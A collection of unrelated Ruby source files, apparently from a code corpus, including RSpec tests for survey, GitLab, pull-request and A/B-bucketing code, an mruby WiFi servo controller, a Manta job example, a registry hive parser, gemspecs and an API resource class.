delete :destroy, :id => survey_with_no_responses
end
it "successfully destroys the survey" do
do_delete
expect(response).to redirect_to(surveyforms_path)
expect(Survey.exists?(survey_with_no_responses.id)).to be_falsey
end
end
context "responses were submitted" do
def do_delete
delete :destroy, :id => survey_with_responses
end
it "fails to delete the survey" do
do_delete
expect(response).to redirect_to(surveyforms_path)
expect(Survey.exists?(survey_with_responses.id)).to be_truthy
end
it "displays a flash message warning responses were collected" do
do_delete
expect(flash[:error]).to have_content /not be deleted/i
end
end
end
context "#replace form" do
def do_get(params = {})
FactoryBot.create(:survey_section, :survey => survey)
get :replace_form, {:id=>survey.id,:survey_section_id=>survey.sections.first.id}.merge(params)
end
it "resets question_no to 0" do
do_get
expect(assigns(:question_no)).to eq(0)
end
it "renders new" do
do_get
expect(response).to be_success
expect(response).to render_template('new')
end
end
context "#insert_survey_section" do
def do_get(params = {})
survey.sections = [FactoryBot.create(:survey_section, :survey => survey)]
get :insert_survey_section,{id: survey.id}.merge(params)
end
it "inserts a survey section" do
do_get
expect(response).to be_success
expect(response).to render_template('_survey_section_fields')
end
end
context "#replace_survey_section" do
def do_get(params = {})
FactoryBot.create(:survey_section, :survey => survey)
get :replace_survey_section, {:id=>survey.id,:survey_section_id=>survey.sections.first.id}.merge(params)
end
it "resets question_no to 0" do
do_get
expect(assigns(:question_no)).to eq(0)
end
it "renders survey_section partial" do
do_get
expect(response).to be_success
expect(response).to render_template('_survey_section_fields')
end
end
context "#insert_new_question" do
def do_get(params = {})
survey.sections = [FactoryBot.create(:survey_section, :survey => survey)]
survey.sections.first.questions = [FactoryBot.create(:question, :survey_section => survey.sections.first)]
get :insert_new_question,{:id => survey.id, :question_id => survey.sections.first.questions.first.id}.merge(params)
end
it "inserts a question" do
do_get
expect(response).to be_success
expect(response).to render_template('new')
end
end
context "#cut_question" do
def do_get(params = {})
survey.sections = [FactoryBot.create(:survey_section, :survey => survey)]
survey.sections.first.questions = [FactoryBot.create(:question, :survey_section => survey.sections.first)]
get :cut_question,{:id => survey.id, :question_id => survey.sections.first.questions.first.id}.merge(params)
end
it "cuts a question" do
do_get
expect(response).to be_success
end
end
context "#clone_survey" do
def do_put(params={})
survey.sections = [FactoryBot.create(:survey_section, :survey => survey)]
survey.sections.first.questions = [FactoryBot.create(:question, :survey_section => survey.sections.first, text: 'my cloned question')]
put :clone_survey,{id: survey.id}
end
it "creates a new survey" do
expect{do_put}.to change{Survey.count}.by(1)
end
it "gives a different id to the clone" do
do_put
expect(Survey.last.id).not_to eql survey.id
end
it "copies the text of the question" do
do_put
expect(Survey.last.survey_sections.first.questions.first.text).to eql 'my cloned question'
end
end
end
| 27.162534 | 140 | 0.638641 |
ffc6e768b9cbab89d7635f573b65089e4191ffaa | 2,323 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Admin::EmailsHelper, :clean_gitlab_redis_shared_state do
include ExclusiveLeaseHelpers
let(:lease_key) { Admin::EmailService::LEASE_KEY }
let(:timeout) { Admin::EmailService::DEFAULT_LEASE_TIMEOUT }
describe '#send_emails_from_admin_area_feature_available?' do
subject { helper.send_emails_from_admin_area_feature_available? }
context 'when `send_emails_from_admin_area` feature is enabled' do
before do
stub_licensed_features(send_emails_from_admin_area: true)
end
it { is_expected.to be_truthy }
end
context 'when `send_emails_from_admin_area` feature is disabled' do
before do
stub_licensed_features(send_emails_from_admin_area: false)
end
it { is_expected.to be_falsey }
end
end
describe '#admin_emails_are_currently_rate_limited?' do
subject { helper.admin_emails_are_currently_rate_limited? }
context 'when the lease key exists' do
it 'returns true' do
stub_exclusive_lease(lease_key, timeout: timeout)
expect(subject).to eq(true)
end
end
context 'when the lease key does not exist' do
it 'returns false' do
expect(subject).to eq(false)
end
end
end
describe '#admin_emails_rate_limit_ttl' do
subject { helper.admin_emails_rate_limit_ttl }
context 'when the lease key exists' do
it 'returns the time remaining till the key expires' do
stub_exclusive_lease(lease_key, timeout: timeout)
expect(subject).to eq(timeout)
end
end
context 'when the lease key does not exist' do
it 'returns nil' do
expect(subject).to be_nil
end
end
end
describe '#admin_emails_rate_limited_alert' do
subject { helper.admin_emails_rate_limited_alert }
context 'when the lease key exists' do
it 'returns the alert' do
stub_exclusive_lease(lease_key, timeout: timeout)
expect(subject).to \
eq('An email notification was recently sent from the admin panel. Please wait 10 minutes before attempting to send another message.')
end
end
context 'when the lease key does not exist' do
it 'returns empty string' do
expect(subject).to eq('')
end
end
end
end
| 27.011628 | 143 | 0.700818 |
267bc2f662d4e6cea5cb46b4a5e4d914a08f0e99 | 3,120 | #!mruby
#################################
# フードシュータ
# GWS S03N 2BBMG
# オレンジ・・・信号線
# 赤・・・・・・3.3V
# 茶・・・・・・GND
#################################
@SrvPin = 0
Usb = Serial.new(0)
led 1
#ESP8266を一度停止させる(リセットと同じ)
pinMode(5,1)
digitalWrite(5,0) # LOW:Disable
delay 500
digitalWrite(5,1) # LOW:Disable
if( System.useWiFi() == 0)then
Usb.println "WiFi Card can't use."
System.exit()
end
Usb.println WiFi.disconnect
Usb.println WiFi.setMode 3 #Station-Mode & SoftAPI-Mode
#WiFi.connect "TAROSAY", "37000"
Usb.println WiFi.connect("000740DE0D79","")
Usb.println WiFi.ipconfig
Usb.println WiFi.multiConnect 1
#0番ピンをサーボ制御ピンに設定
pinMode(0, 1)
Servo.attach(0, @SrvPin)
Servo.write(0, 0) #0度にする
Usb.println WiFi.httpServer(-1).to_s
delay 100
body0 = '<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'
body0 += '<title>RAMUNE SHOOTER</title></head>'
#body1 = '<body><h1 align="center">ラムネ撃ちます。</h1></body>'
#body1 += "\r\n\r\n"
#Usb.print body
#Usb.println "body.length = " + body.length.to_s
header0 = "HTTP/1.1 200 OK\r\n"
header0 += "Server: GR-CITRUS\r\n"
header0 += "Content-Type: text/html\r\n"
header0 += "Date: Sun, 13 Nov 2016 12:00:00 GMT\r\n"
header0 += "Connection: close\r\n"
#header1 += "Content-Length: " + (body0 + body1).length.to_s + "\r\n\r\n"
Usb.println WiFi.httpServer(80).to_s
led 0
k = 0
while(true)do
res = WiFi.httpServer
#Usb.println res.to_s
if(res == "/ramune")then
Usb.println res
led 1
body1 = '<body><h1 align="center">ラムネ撃ちます。</h1></body>'
body1 += "\r\n\r\n"
header1 = "Content-Length: " + (body0 + body1).length.to_s + "\r\n\r\n"
WiFi.send(0, header0)
WiFi.send(0, header1)
WiFi.send(0, body0)
WiFi.send(0, body1)
Servo.write(0, 0)
delay(1000)
16.times {|i|
Servo.write(0, i*10)
delay(300)
}
elsif(res == "/ramune?exit")
Usb.println res
body1 = '<body><h1 align="center">終了します。</h1></body>'
body1 += "\r\n\r\n"
header1 = "Content-Length: " + (body0 + body1).length.to_s + "\r\n\r\n"
WiFi.send(0, header0)
WiFi.send(0, header1)
WiFi.send(0, body0)
WiFi.send(0, body1)
break
elsif(res == "0,CLOSED\r\n")
Usb.println res
elsif(res.to_s.length > 2 && ((res.bytes[0].to_s + res.bytes[1].to_s == "0,") || (res.bytes[0].to_s + res.bytes[1].to_s == "1,")))
Usb.println "Else(*,:" + res
elsif(res != 0)
Usb.println "Else:" + res.to_s
body1 = '<body><h1 align="center">エラーです。</h1></body>'
body1 += "\r\n\r\n"
header1 = "Content-Length: " + (body0 + body1).length.to_s + "\r\n\r\n"
WiFi.send(0, header0)
WiFi.send(0, header1)
WiFi.send(0, body0)
WiFi.send(0, body1)
end
delay 100
k = 1 - k
led k
end
WiFi.httpServer(-1)
WiFi.disconnect
digitalWrite(5,0) # LOW:Disable
| 25.365854 | 137 | 0.544551 |
08ea9014127b08a036b3878cc4a5cfa54ca368c5 | 250 | require 'redis'
require 'awesome_print'
RSpec.describe RedBus do
before :each do
end
context "support functions" do
it "can generate a rpc_token" do
expect(RedBus::rpc_token).to_not be nil
end
end # support functions
end
| 13.157895 | 45 | 0.7 |
91026d019c06e424d31ee9c04ab7f6efa4c43ff0 | 2,821 | require 'spec_helper'
describe PullRequest do
let(:user) { create :user }
it { should belong_to(:user) }
it { should validate_uniqueness_of(:issue_url).scoped_to(:user_id) }
describe '#create_from_github' do
let(:json) { mock_pull_request }
subject { user.pull_requests.create_from_github(json) }
its(:title) { should eq json['payload']['pull_request']['title'] }
its(:issue_url) { should eq json['payload']['pull_request']['_links']['html']['href'] }
its(:created_at) { should eq json['payload']['pull_request']['created_at'] }
its(:state) { should eq json['payload']['pull_request']['state'] }
its(:body) { should eq json['payload']['pull_request']['body'] }
its(:merged) { should eq json['payload']['pull_request']['merged'] }
its(:repo_name) { should eq json['repo']['name'] }
its(:language) { should eq json['repo']['language'] }
# context 'when the user has authed their twitter account' do
# let(:user) { create :user, :twitter_token => 'foo', :twitter_secret => 'bar' }
# it 'tweets the pull request' do
# twitter = double('twitter')
# twitter.stub(:update)
# User.any_instance.stub(:twitter).and_return(twitter)
# user.twitter.should_receive(:update)
# .with(I18n.t 'pull_request.twitter_message', :issue_url => json['payload']['pull_request']['_links']['html']['href'])
# user.pull_requests.create_from_github(json)
# end
# end
end
describe '#autogift' do
context 'when PR body contains "24 pull requests"' do
it 'creates a gift' do
pull_request = FactoryGirl.create :pull_request, body: 'happy 24 pull requests!'
pull_request.gifts.should_not be_empty
end
end
context 'when PR body does not contain "24 pull requests"' do
it 'does not create a gift' do
pull_request = FactoryGirl.create :pull_request, body: "...and a merry christmas!"
pull_request.gifts.should be_empty
end
end
end
describe "#check_state" do
let(:pull_request) { create :pull_request }
before do
pull_request.stub(:fetch_data).and_return(Hashie::Mash.new mock_issue)
pull_request.check_state
end
subject { pull_request }
its(:comments_count) { should eq 5 }
its(:state) { should eq "closed" }
end
context "#scopes" do
let!(:pull_requests) do
4.times.map { |n| create(:pull_request, language: "Haskell",
created_at: DateTime.now+n.minutes) }
end
it "by_language" do
PullRequest.by_language("Haskell").order("created_at asc").should eq pull_requests
end
it "latest" do
PullRequest.latest(3).should eq(pull_requests.reverse.take(3))
end
end
end
| 34.402439 | 129 | 0.631336 |
6a9c71f3b5ec9871e88f530ffde044049f526550 | 89 | module WizardsCastle
VERSION = '0.0.5'.freeze
VERSION_DATE = '2016-08-16'.freeze
end
| 17.8 | 36 | 0.719101 |
e265052823a3e8a5cc816b06cdc4ef74a08ba31b | 3,007 | require_relative 'lib/ruby-manta'
# You'll need to provide these four environment variables to run this
# example. E.g.:
# MANTA_USER=john KEY=~/.ssh/john MANTA_URL=https://us-east.manta.joyent.com LOCAL_DIR=. ruby example.rb
host = ENV['MANTA_URL']
user = ENV['MANTA_USER']
priv_key = ENV['MANTA_KEY' ]
upload_dir = ENV['LOCAL_DIR' ]
raise 'You must specify MANTA_URL' unless host
raise 'You must specify MANTA_USER' unless user
raise 'You must specify MANTA_KEY' unless priv_key
raise 'You must specify LOCAL_DIR' unless upload_dir
# Read in private key, create a MantaClient instance. MantaClient is
# thread-safe and provides persistent connections with pooling, so you'll
# only ever need a single instance of this in a program.
priv_key_data = File.read(priv_key)
client = RubyManta::MantaClient.new(host, user, priv_key_data,
:disable_ssl_verification => true,
# :subuser => 'monte',
)
# Create an directory in Manta solely for this example run.
dir_path = '/' + user + '/stor/ruby-manta-example'
client.put_directory(dir_path)
# Upload files in a local directory to the Manta directory.
file_paths = Dir[upload_dir + '/*'].select { |p| File.file? p }
file_paths.each do |file_path|
file_name = File.basename(file_path)
# Be careful about binary files and file encodings in Ruby 1.9. If you don't
# use ASCII-8BIT (forced by 'rb' below), expect timeouts while PUTing an
# object.
file_data = File.open(file_path, 'rb') { |f| f.read }
client.put_object(dir_path + '/' + file_name, file_data)
end
# This example job runs the wc UNIX command on every object for the
# map phase, then uses awk during reduce to sum up the three numbers each wc
# returned.
job_details = {
:name => 'total word count',
:phases => [ {
:exec => 'wc'
}, {
:type => 'reduce',
:exec => "awk '{ l += $1; w += $2; c += $3 } END { print l, w, c }'"
} ]
}
# Create the job, then add the objects the job should operate on.
job_path, _ = client.create_job(job_details)
entries, _ = client.list_directory(dir_path)
obj_paths = entries.select { |e| e['type'] == 'object' }.
map { |e| dir_path + '/' + e['name'] }
client.add_job_keys(job_path, obj_paths)
# Tell Manta we're done adding objects to the job. Manta doesn't need this
# to start running a job -- you can see map results without it, for
# example -- but reduce phases in particular depend on all mapping
# finishing.
client.end_job_input(job_path)
# Poll until Manta finishes the job.
begin
sleep 1
job, _ = client.get_job(job_path)
end while job['state'] != 'done'
# We know in this case there will be only one result. Fetch it and
# display it.
results, _ = client.get_job_output(job_path)
data, _ = client.get_object(results[0])
puts data
# Clean up; remove objects and directory.
obj_paths.each do |obj_path|
client.delete_object(obj_path)
end
client.delete_directory(dir_path)
| 34.965116 | 104 | 0.685068 |
e8f54113a3106d21d0411bee652f38cefc45f0ae | 658 | module Pelusa
# Public: A Report is a wrapper that relates a class name with all its
# analyses for different lint checks.
#
class Report
# Public: Initializes a new Report.
#
# class_name - The Symbol name of the class being analyzed.
# type - the String type of the class being analyzed (class or module).
# analyses - An Array of Analysis objects.
def initialize(name, type, analyses)
@class_name = name
@type = type
@analyses = analyses
end
attr_reader :class_name, :type, :analyses
def successful?
@analyses.all? { |analysis| analysis.successful? }
end
end
end
| 27.416667 | 81 | 0.648936 |
e8d027cf7c328bc35a5e12bab03596110cce9d06 | 2,020 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2016_03_30
module Models
#
# Contains ServiceProviderProperties in an ExpressRouteCircuit
#
class ExpressRouteCircuitServiceProviderProperties
include MsRestAzure
# @return [String] Gets or sets serviceProviderName.
attr_accessor :service_provider_name
# @return [String] Gets or sets peering location.
attr_accessor :peering_location
# @return [Integer] Gets or sets BandwidthInMbps.
attr_accessor :bandwidth_in_mbps
#
# Mapper for ExpressRouteCircuitServiceProviderProperties class as Ruby
# Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'ExpressRouteCircuitServiceProviderProperties',
type: {
name: 'Composite',
class_name: 'ExpressRouteCircuitServiceProviderProperties',
model_properties: {
service_provider_name: {
client_side_validation: true,
required: false,
serialized_name: 'serviceProviderName',
type: {
name: 'String'
}
},
peering_location: {
client_side_validation: true,
required: false,
serialized_name: 'peeringLocation',
type: {
name: 'String'
}
},
bandwidth_in_mbps: {
client_side_validation: true,
required: false,
serialized_name: 'bandwidthInMbps',
type: {
name: 'Number'
}
}
}
}
}
end
end
end
end
| 28.857143 | 77 | 0.560396 |
bfe932a67d1ccf4394238e073d9df75093fb522e | 3,884 | # Copyright 2019-2020 Wingify Software Pvt. Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'test/unit'
require 'json'
require_relative '../lib/vwo/core/bucketer'
require_relative '../lib/vwo/utils/campaign'
SETTINGS_FILE = JSON.load(File.open(File.join(File.dirname(__FILE__), 'data/settings.json')))
class BucketerTest < Test::Unit::TestCase
include VWO::Utils::Campaign
def setup
@user_id = rand.to_s
@dummy_campaign = {
'goals' => [
{
'identifier' => 'GOAL_NEW',
'id' => 203,
'type' => 'CUSTOM_GOAL'
}
],
'variations' => [
{
'id' => '1',
'name' => 'Control',
'weight' => 40
},
{
'id' => '2',
'name' => 'Variation-1',
'weight' => 60
}
],
'id' => 22,
'percentTraffic' => 50,
'key' => 'UNIQUE_KEY',
'status' => 'RUNNING',
'type' => 'VISUAL_AB'
}
set_variation_allocation(@dummy_campaign)
@bucketer = VWO::Core::Bucketer.new
end
def test_user_part_of_campaign_none_campaign_passed
result = @bucketer.user_part_of_campaign?(@user_id, nil)
assert_equal(result, false)
end
def test_user_part_of_campaign_none_userid_passed
result = @bucketer.user_part_of_campaign?(nil, @dummy_campaign)
assert_equal(result, false)
end
def test_user_part_of_campaign_should_return_true
user_id = 'Bob'
# Bob, with above campaign settings, will get hashValue:2033809345 and
# bucketValue:48. So, MUST be a part of campaign as per campaign
# percentTraffic
result = @bucketer.user_part_of_campaign?(user_id, @dummy_campaign)
assert_equal(result, true)
end
def test_user_part_of_campaign_should_return_false
user_id = 'Lucian'
# Lucian, with above campaign settings, will get hashValue:2251780191
# and bucketValue:53. So, must NOT be a part of campaign as per campaign
# percentTraffic
result = @bucketer.user_part_of_campaign?(user_id, @dummy_campaign)
assert_equal(result, false)
end
def test_bucket_user_to_variation_none_campaign_passed
result = @bucketer.bucket_user_to_variation(@user_id, nil)
assert_equal(result, nil)
end
def test_bucket_user_to_variation_none_userid_passed
result = @bucketer.bucket_user_to_variation(nil, @dummy_campaign)
assert_equal(result, nil)
end
def test_bucket_user_to_variation_return_control
user_id = 'Sarah'
# Sarah, with above campaign settings, will get hashValue:69650962 and
# bucketValue:326. So, MUST be a part of Control, as per campaign
# settings
result = @bucketer.bucket_user_to_variation(user_id, @dummy_campaign)
assert_equal(result['name'], 'Control')
end
def test_bucket_user_to_variation_return_varitaion_1
user_id = 'Varun'
# Varun, with above campaign settings, will get hashValue:69650962 and
# bucketValue:326. So, MUST be a part of Variation-1, as per campaign
# settings
result = @bucketer.bucket_user_to_variation(user_id, @dummy_campaign)
assert_equal(result['name'], 'Variation-1')
end
def test_get_variation_return_none
campaign = ::SETTINGS_FILE['AB_T_50_W_50_50']['campaigns'][0]
set_variation_allocation(campaign)
result = @bucketer.send(:get_variation, campaign['variations'], 10001)
assert_equal(result, nil)
end
end
| 32.366667 | 93 | 0.695417 |
796ad101c9e9b0a87f075f9a179bff97c31d74a3 | 310 | require 'rails_helper'
RSpec.describe 'tickets/index', type: :view do
before(:each) do
assign :tickets, create_list(:ticket, 2, base_price: 5000, lan: create(:lan), user: create(:user))
end
it 'renders a list of tickets' do
render
assert_select 'tr>td', text: 5000.to_s, count: 2
end
end
| 23.846154 | 102 | 0.683871 |
f81da907b27a3425d3a920acda1be30afa2d7ea9 | 1,790 | # -*- coding: binary -*-
require_relative "lfkey"
require_relative "valuelist"
module Rex
module Registry
class NodeKey
attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
attr_accessor :value_count, :value_list_offset, :security_key_offset
attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
def initialize(hive, offset)
offset = offset + 0x04
nk_header = hive[offset, 2]
nk_type = hive[offset+0x02, 2]
if nk_header !~ /nk/
return
end
@timestamp = hive[offset+0x04, 8].unpack('Q').first
@parent_offset = hive[offset+0x10, 4].unpack('V').first
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
@value_count = hive[offset+0x24, 4].unpack('V').first
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
@name_length = hive[offset+0x48, 2].unpack('C').first
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp
unix_time = windows_time/10000000-11644473600
ruby_time = Time.at(unix_time)
@readable_timestamp = ruby_time
@lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
@value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
@class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
end
end
end
end
| 32.545455 | 109 | 0.688827 |
ed1898fc3b6c347f5d8fbd7cf1140ccca069bf9b | 2,228 | # -*- encoding: utf-8 -*-
# stub: web-console 2.3.0 ruby lib
Gem::Specification.new do |s|
s.name = "web-console".freeze
s.version = "2.3.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Charlie Somerville".freeze, "Genadi Samokovarov".freeze, "Guillermo Iguaran".freeze, "Ryan Dao".freeze]
s.date = "2016-01-27"
s.email = ["[email protected]".freeze, "[email protected]".freeze, "[email protected]".freeze, "[email protected]".freeze]
s.homepage = "https://github.com/rails/web-console".freeze
s.licenses = ["MIT".freeze]
s.rubygems_version = "2.7.3".freeze
s.summary = "A debugging tool for your Ruby on Rails applications.".freeze
s.installed_by_version = "2.7.3" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<railties>.freeze, [">= 4.0"])
s.add_runtime_dependency(%q<activemodel>.freeze, [">= 4.0"])
s.add_runtime_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_runtime_dependency(%q<binding_of_caller>.freeze, [">= 0.7.2"])
s.add_development_dependency(%q<actionmailer>.freeze, [">= 4.0"])
s.add_development_dependency(%q<activerecord>.freeze, [">= 4.0"])
else
s.add_dependency(%q<railties>.freeze, [">= 4.0"])
s.add_dependency(%q<activemodel>.freeze, [">= 4.0"])
s.add_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_dependency(%q<binding_of_caller>.freeze, [">= 0.7.2"])
s.add_dependency(%q<actionmailer>.freeze, [">= 4.0"])
s.add_dependency(%q<activerecord>.freeze, [">= 4.0"])
end
else
s.add_dependency(%q<railties>.freeze, [">= 4.0"])
s.add_dependency(%q<activemodel>.freeze, [">= 4.0"])
s.add_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_dependency(%q<binding_of_caller>.freeze, [">= 0.7.2"])
s.add_dependency(%q<actionmailer>.freeze, [">= 4.0"])
s.add_dependency(%q<activerecord>.freeze, [">= 4.0"])
end
end
| 47.404255 | 154 | 0.658887 |
4afded7fbe146ee70c7184bb8aa54a1c74bbfea2 | 2,615 | # encoding: utf-8
require 'cucumber/version'
AUTHOR = 'Aslak Hellesøy' # can also be an array of Authors
EMAIL = "[email protected]"
DESCRIPTION = "Executable Feature scenarios"
GEM_NAME = 'cucumber' # what ppl will type to install your gem
HOMEPATH = "http://cukes.info"
RUBYFORGE_PROJECT = 'rspec'
@config_file = "~/.rubyforge/user-config.yml"
@config = nil
RUBYFORGE_USERNAME = "aslak_hellesoy"
def rubyforge_username
unless @config
begin
@config = YAML.load(File.read(File.expand_path(@config_file)))
rescue
puts <<-EOS
ERROR: No rubyforge config file found: #{@config_file}
Run 'rubyforge setup' to prepare your env for access to Rubyforge
- See http://newgem.rubyforge.org/rubyforge.html for more details
EOS
exit
end
end
RUBYFORGE_USERNAME.replace @config["username"]
end
REV = nil
# UNCOMMENT IF REQUIRED:
# REV = YAML.load(`svn info`)['Revision']
VERS = Cucumber::VERSION::STRING + (REV ? ".#{REV}" : "")
RDOC_OPTS = ['--quiet', '--title', 'Cucumber documentation',
"--opname", "index.html",
"--line-numbers",
"--main", "README.textile",
"--inline-source"]
# Remove Hoe dependency
class Hoe
def extra_dev_deps
@extra_dev_deps.reject! { |dep| dep[0] == "hoe" }
@extra_dev_deps
end
end
# Generate all the Rake tasks
# Run 'rake -T' to see list of generated tasks (from gem root directory)
$hoe = Hoe.spec(GEM_NAME) do |p|
p.version = VERS
p.developer(AUTHOR, EMAIL)
p.description = DESCRIPTION
p.summary = DESCRIPTION
p.url = HOMEPATH
p.rubyforge_name = RUBYFORGE_PROJECT if RUBYFORGE_PROJECT
p.clean_globs |= ['**/.*.sw?', '*.gem', '.config', '**/.DS_Store', '**/*.class', '**/*.jar', '**/tmp'] #An array of file patterns to delete on clean.
# == Optional
p.changes = p.paragraphs_of("History.txt", 0..1).join("\n\n")
#p.extra_deps = [] # An array of rubygem dependencies [name, version], e.g. [ ['active_support', '>= 1.3.1'] ]
p.extra_deps = [
['term-ansicolor', '>= 1.0.3'],
['treetop', '>= 1.3.0'],
['polyglot', '>= 0.2.8'], # Don't really want polyglot, but it keeps breaking so we'll make people use something that works ok'ish
['diff-lcs', '>= 1.1.2'],
['builder', '>= 2.1.2']
]
#p.spec_extras = {} # A hash of extra values to set in the gemspec.
end
CHANGES = $hoe.paragraphs_of('History.txt', 0..1).join("\\n\\n")
PATH = (RUBYFORGE_PROJECT == GEM_NAME) ? RUBYFORGE_PROJECT : "#{RUBYFORGE_PROJECT}/#{GEM_NAME}"
$hoe.remote_rdoc_dir = File.join(PATH.gsub(/^#{RUBYFORGE_PROJECT}\/?/,''), 'rdoc')
$hoe.rsync_args = '-av --delete --ignore-errors' | 33.525641 | 152 | 0.652772 |
62233d19516996b80e7395d448b0c9f62a709731 | 560 | # frozen_string_literal: true
module Ci
module ResourceGroups
class AssignResourceFromResourceGroupWorker
include ApplicationWorker
include PipelineQueue
queue_namespace :pipeline_processing
feature_category :continuous_delivery
def perform(resource_group_id)
::Ci::ResourceGroup.find_by_id(resource_group_id).try do |resource_group|
Ci::ResourceGroups::AssignResourceFromResourceGroupService.new(resource_group.project, nil)
.execute(resource_group)
end
end
end
end
end
| 26.666667 | 101 | 0.7375 |
e8f398cdf4f7bef102a61a27887b438efa1cc7d7 | 5,568 | require 'bigdecimal'
require 'active_support/core_ext/string'
require 'active_support/core_ext/hash/slice'
require_relative 'collection'
module Lightspeed
class ID < Integer; end
class Link; end
class Resource
attr_accessor :id, :attributes, :client, :context, :account
def initialize(client: nil, context: nil, attributes: {})
self.client = client
self.context = context
self.attributes = attributes
end
def attributes=(attributes)
@attributes = attributes
attributes.each do |key, value|
send(:"#{key}=", value) if self.respond_to?(:"#{key}=")
end
self.id = send(self.class.id_field)
attributes
end
def account
@account || context.try(:account)
end
def self.fields(fields = {})
@fields ||= []
attr_writer(*fields.keys)
fields.each do |name, klass|
@fields << define_method(name) do
get_transformed_value(name, klass)
end
end
@fields
end
def get_transformed_value(name, kind)
value = instance_variable_get("@#{name}")
if value.is_a?(String)
case kind
when :string then value
when :integer then value.to_i
when :id then value.to_i
when :datetime then DateTime.parse(value)
when :boolean then value == 'true'
when :decimal then BigDecimal(value)
when :hash then Hash.new(value)
else
raise ArgumentError, "Could not transform value #{value} to a #{kind}"
end
else
value
end
end
def client
@client || context.try(:client)
end
def load
self.attributes = get[resource_name] if (attributes.keys - [self.class.id_field]).empty?
end
def reload
self.attributes = get[resource_name]
end
def update(attributes = {})
self.attributes = put(body: Yajl::Encoder.encode(attributes))[resource_name]
end
def destroy
self.attributes = delete[resource_name]
self
end
def self.resource_name
name.demodulize
end
def self.collection_name
resource_name.pluralize
end
def self.id_field
"#{resource_name.camelize(:lower)}ID"
end
def id_params
{ self.class.id_field => id }
end
def self.relationships(*args)
@relationships ||= []
paired_args = args.flat_map { |r| r.is_a?(Hash) ? r.to_a : [[r, r]] }
paired_args.each do |(relation_name, class_name)|
method_name = relation_name.to_s.underscore.to_sym
@relationships << define_method(method_name) do
instance_variable_get("@#{method_name}") || get_relation(method_name, relation_name, class_name)
end
end
@relationships
end
def inspect
"#<#{self.class.name} API#{base_path}>"
end
def to_json
Yajl::Encoder.encode(as_json)
end
def as_json
fields_to_h.merge(relationships_to_h).reject { |_, v| v.nil? || v == {} }
end
alias_method :to_h, :as_json
def base_path
if context.is_a?(Lightspeed::Collection)
"#{context.base_path}/#{id}"
else
"#{account.base_path}/#{resource_name}/#{id}"
end
end
def singular_path_parent
context
end
def resource_name
self.class.resource_name
end
def read_attribute_for_serialization(method_name)
method_name = method_name.to_sym
if self.class.fields.include?(method_name) || self.class.relationships.include?(method_name)
send(method_name)
end
end
private
def fields_to_h
self.class.fields.map { |f| [f, send(f)] }.to_h
end
def relationships_to_h
self.class.relationships.map { |r| [r.to_s.camelize, send(r).to_h] }.to_h
end
def collection_class
"Lightspeed::#{self.class.collection_name}".constantize
end
def get_relation(method_name, relation_name, class_name)
klass = "Lightspeed::#{class_name}".constantize
case
when klass <= Lightspeed::Collection then get_collection_relation(method_name, relation_name, klass)
when klass <= Lightspeed::Resource then get_resource_relation(method_name, relation_name, klass)
end
end
def get_collection_relation(method_name, relation_name, klass)
collection = klass.new(context: self, attributes: attributes[relation_name.to_s])
instance_variable_set("@#{method_name}", collection)
end
def get_resource_relation(method_name, relation_name, klass)
id_field = "#{relation_name.to_s.camelize(:lower)}ID" # parentID != #categoryID, so we can't use klass.id_field
resource = if send(id_field).to_i.nonzero?
rel_attributes = attributes[klass.resource_name] || { klass.id_field => send(id_field) }
klass.new(context: self, attributes: rel_attributes).tap(&:load)
end
instance_variable_set("@#{method_name}", resource)
end
def context_params
if context.respond_to?(:id_field) &&
respond_to?(context.id_field.to_sym)
{ context.id_field => context.id }
else
{}
end
end
def get(params: {})
params = { load_relations: 'all' }.merge(context_params).merge(params)
client.get(
path: resource_path,
params: params
)
end
def put(body: nil)
client.put(
path: resource_path,
body: body
)
end
def delete
client.delete(
path: resource_path
)
end
def resource_path
"#{base_path}.json"
end
end
end
| 25.309091 | 117 | 0.633441 |
01f0f926c03573cd71402e1e651cce56fadc0731 | 54 | # frozen_string_literal: true
module HasTimeline
end
| 10.8 | 29 | 0.833333 |
383597164bb8039234ae680db05c53e8335792ec | 1,227 | require File.expand_path('lib/rdb/version.rb', File.dirname(__FILE__))
Gem::Specification.new do |s|
s.name = 'rdb'
s.version = Rdb::VERSION
s.bindir = 'bin'
s.executables = ['rdb']
s.date = Time.now.strftime('%Y-%m-%d')
s.summary = 'Browser-based cross-platform Ruby 2.x debugger.'
s.description = 'Browser-based cross-platform Ruby 2.x debugger. Includes breakpoints, expression evaluation, call stacks, error handling, and remote debugging.'
s.authors = ['Chris Schmich']
